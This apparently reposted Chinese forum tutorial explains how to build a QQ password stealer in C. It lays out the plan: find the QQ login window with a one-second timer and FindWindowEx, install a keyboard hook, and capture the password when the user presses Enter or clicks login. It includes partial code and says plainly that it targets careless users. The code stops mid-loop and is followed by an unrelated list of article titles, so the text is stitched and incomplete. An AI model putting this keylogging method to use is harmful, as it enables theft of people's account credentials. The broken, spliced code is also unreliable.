该楼层疑似违规已被系统折叠 隐藏此楼查看此楼

【转】C语言实现QQ密码大盗

一般的盗密码的软件的软件都是通过监视键盘来获得密码,这样操作比较方便,但是这样也存在一定问题,密码有的时候不是很准确,因为有的人输入密码并不是从前到后输入,当然这样的人也是少数,盗密码嘛,当然去得到那些比较粗心的人的密码! 通过安装钩子来监视QQ登陆界面就是获得密码的方法,在安装前得先找到登陆窗口的句柄,当钩子安装后,记录键盘,当用户“回车”或是点了“登陆”就可以开始处理密码了! 我准备分为四部分来说明这个整个过程:

(1)寻找QQ登陆界面。

(2)安装钩子

(3)钩子函数的解释.

(4)处理密码。

以下部分全是使用C语言,文章中我假设读者您是会C/SDK编程的。如果遇到相关的概念性问题,您可以查看MSDN或是上BBS 询问!

寻找QQ登陆界面

软件运行后,利用安装定时器,每秒在系统找QQ登陆界面,这样基本上只要用户打开了QQ登陆界面就会被抓住其句柄,看下面代码:

#define ID_MYTIMER 555

SetTimer(hDlg, ID_MYTIMER, 1000, NULL);

安装好TIMER后,下面是处理主程序的WM_TIMER消息,凡是出现没有定义的变量,您可以理解为是全局变量.

//处理WM_TIMER代码

if (!IsWindow(g_hQQLogin)) //判断g_hQQLogin是否是有效的窗口句柄

{

HWND hLogin=NULL;

g_hQQLogin = NULL;

SetQQHook(NULL); //参数为NULL是卸载HOOK,参数为句柄是安装句柄

do

{

//利用FindWindowEx查找QQ登陆窗口,具体参数意思请查MSDN

g_hQQLogin=FindWindowEx(NULL,g_hQQLogin,"#32770",NULL); //对话框的类都是#32770

//找到类名是#32770后,再在其窗体内找一个具有“ 登录QQ”的BUTTON按纽

hLogin = FindWindowEx(g_hQQLogin, NULL, "Button", " 登录QQ"); //这一句很关键,如果你的QQ登陆窗口上没有" 登录QQ"字样,那么获取密码将失败!

}

while(g_hQQLogin != NULL

c语言qq密码程序设计,【转】C语言实现QQ密码大盗相关推荐

  1. c语言选择结构程序设计笔记,C语言选择结构程序设计.ppt

    <C语言选择结构程序设计.ppt>由会员分享,可在线阅读,更多相关<C语言选择结构程序设计.ppt(32页珍藏版)>请在人人文库网上搜索. 1.选择结构程序设计,关系运算符和关 ...

  2. c语言黑白棋程序设计报告,C语言课程设计黑白棋

    C语言课程设计--黑白棋 第一章 绪论 1.1 C语言概述 C语言是国际上广泛流行且很有发展前途的计算机高级语言,不仅用来编写应用软件,也用来编写系统软件.C语言功能丰富,使用灵活,可移植性好,深受广 ...

  3. 中国慕课c语言入门视频,程序设计入门——C语言

    spContent=C语言是古老而长青的编程语言,它具备了现代程序设计的基础要求,它的语法是很多其他编程语言的基础,在系统程序.嵌入式系统等领域依然是无可替代的编程语言,在各类编程语言排行榜上常年占据 ...

  4. 【C语言 MOOC】程序设计入门_C语言(翁恺)

    文章目录 程序设计入门-C语言(MOOC-翁恺) Week 1 程序设计与C语言 lesson 1 计算机和编程语言 辗转相除法 程序的执行 lesson 2 第一个程序 Week 2 计算 less ...

  5. c语言分支结构程序设计课件,C语言 分支结构程序设计.ppt

    C语言 分支结构程序设计 第2章 分支结构程序设计 本章要点 C语言中有哪些关系运算和逻辑运算? 关系运算和逻辑运算的优先级如何? 如何用IF语句构成分支结构? 如何用SWITCH语句构成多分支结构? ...

  6. C语言顺序结构程序设计PPT,C语言习题集与实验指导 教学课件 伍鹏、杜红、王圆妹、邓绍金 第3章 顺序结构程序设计.pdf...

    [摘要]第3章 顺序结构程序设计 第3章 顺序结构程序设计 当你对C语言程序设计有了一定了解和掌握后, 在处理一些简单的任务时,若想根据程序书写的过程 顺序执行程序,这时应该如何处理呢? •顺序结构 ...

  7. c语言银行卡管理系统程序设计报告,C语言课程设计报告(银行账户信息管理系统).doc...

    新疆大学学生课程设计论文 摘要 PAGE I 银行账户管理系统C语言程序设计 摘 要 银行账户管理系统是针对银行账户的日常管理而设计,操作方便而且界面简洁,使用较为简单的C语言作为编程语言,采用软件工 ...

  8. c语言实验分支程序设计二,C语言程序实验报告分支结构的程序设计(0页).doc

    C语言程序实验报告分支结构的程序设计(0页) 数学与软件科学学院 实验报告 学期:11至12___ 第_1 学期 2011年10 月 17 日 课程名称:程序设计基础教程-C语言 专业:2010级5_ ...

  9. c语言黑白棋程序设计报告,C语言课程设计报告--黑白棋.doc

    C语言程序设计 课程设计 题目: 黑白棋 课程设计(报告)任务及评语 学 号学生姓名专业班级程序设计(报告)题目黑白棋程序设计(报告)任务 程序设计的任务与要求: (1)掌握C语言编程的基础知识. ( ...

  10. c语言管理模式程序设计,模式化C语言程序设计教学研究

    1我校开设<C语言程序设计>的目的与现状 随着计算机技术在中医药领域的广泛.深入应用,例如医院信息管理.远程医疗.智能仪器设备.计算机医疗仿真等,都离不开程序设计技术的支持.可见,程序设计 ...

最新文章

  1. 转载iOS开发中常见的警告及错误
  2. 1.3 万亿条数据查询,知乎如何做到毫秒级响应?
  3. mysql aes encrypt_mysql加密函数aes_encrypt()和aes_decrypt()使用教程
  4. CVPR 2020 论文大盘点-文本图像篇
  5. 第四篇:决策树分类算法原理分析与代码实现
  6. 连接设备不支持android,安卓手机不识别U盘、不能连接PC的处理方法
  7. 电子商务发展的中心主体与边缘业务
  8. MATLAB的安装步骤
  9. iOS RSA加签 验签 与Java同步 pkcs8 pkcs1
  10. Qt 识别 DM 码
  11. unity检测范围内敌人_Unity判断周围是否有敌人
  12. canvas节点无法导出图片_HTML转为PDF,图片导出失败的终极解决方案
  13. 计算机打印机安装步骤,打印机安装步骤
  14. 微信怎样收发邮件,一款更全能的掌上邮箱,随心邮你
  15. 荒野行动计算机高考题,叮咚,这里有一份荒野行动强迫症测试试卷请查收~
  16. 数字通信世界杂志数字通信世界杂志社数字通信世界编辑部2022年第6期目录
  17. 尚医通(九)数据字典模块前后端 | EasyExcel
  18. 看linux后台台账,linux怎么查询台账信息
  19. dplayer解析源码php调用,从demo分析ijk源码一:视频播放
  20. 基于C51语音控制小车

热门文章

  1. Fourth6: Comprehensive project network upgrade | Cloud computing
  2. 深度学习——从网络威胁情报中收集TTPs
  3. 简约个人导航,主页,引导页html源码三分钟下载安装
  4. php做mes系统,mes系统的七大功能是什么
  5. matlab premnmx归一化函数的使用
  6. 面向云环境基于属性加密的密文分享系统——简介
  7. Elasticsearch:理解搜索中的 precision 及 recall
  8. 推荐系统学习(一)——推荐引擎初探
  9. perl里嵌套shell命令转义符_Linux-包教包会系列之-shell
  10. Word,Excel的文件如何对比.新旧版本